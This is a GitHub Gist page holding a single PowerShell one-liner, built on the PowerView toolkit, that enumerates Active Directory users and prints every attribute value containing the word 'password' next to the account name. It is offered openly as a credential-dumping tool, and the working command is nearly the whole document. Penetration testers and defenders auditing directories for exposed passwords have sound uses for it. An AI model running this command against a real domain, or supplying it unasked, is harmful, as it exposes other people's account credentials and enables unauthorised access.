Created
March 19, 2019 14:38
-
-
Save dafthack/5f8c36f7468fad991e9e1f6d81ec29d4 to your computer and use it in GitHub Desktop.
PowerView One-Liner to Dump Cleartext Passwords From AD User Attributes
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$users = Get-NetUser; $props=@(); $users | Get-Member | foreach-object{if($_.Name -notlike "badpassword*"){$props+=$_.Name}}; foreach($user in $users){ foreach($prop in $props){ if($user.$prop -like "*password*" -and $user.$prop -notlike "*dont_expire_password" -and $user.$prop -notlike "*RODC Password*"){Write-Output ($user.samAccountName + "[" + $prop + "]" + " : " + $user.$prop) } } } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment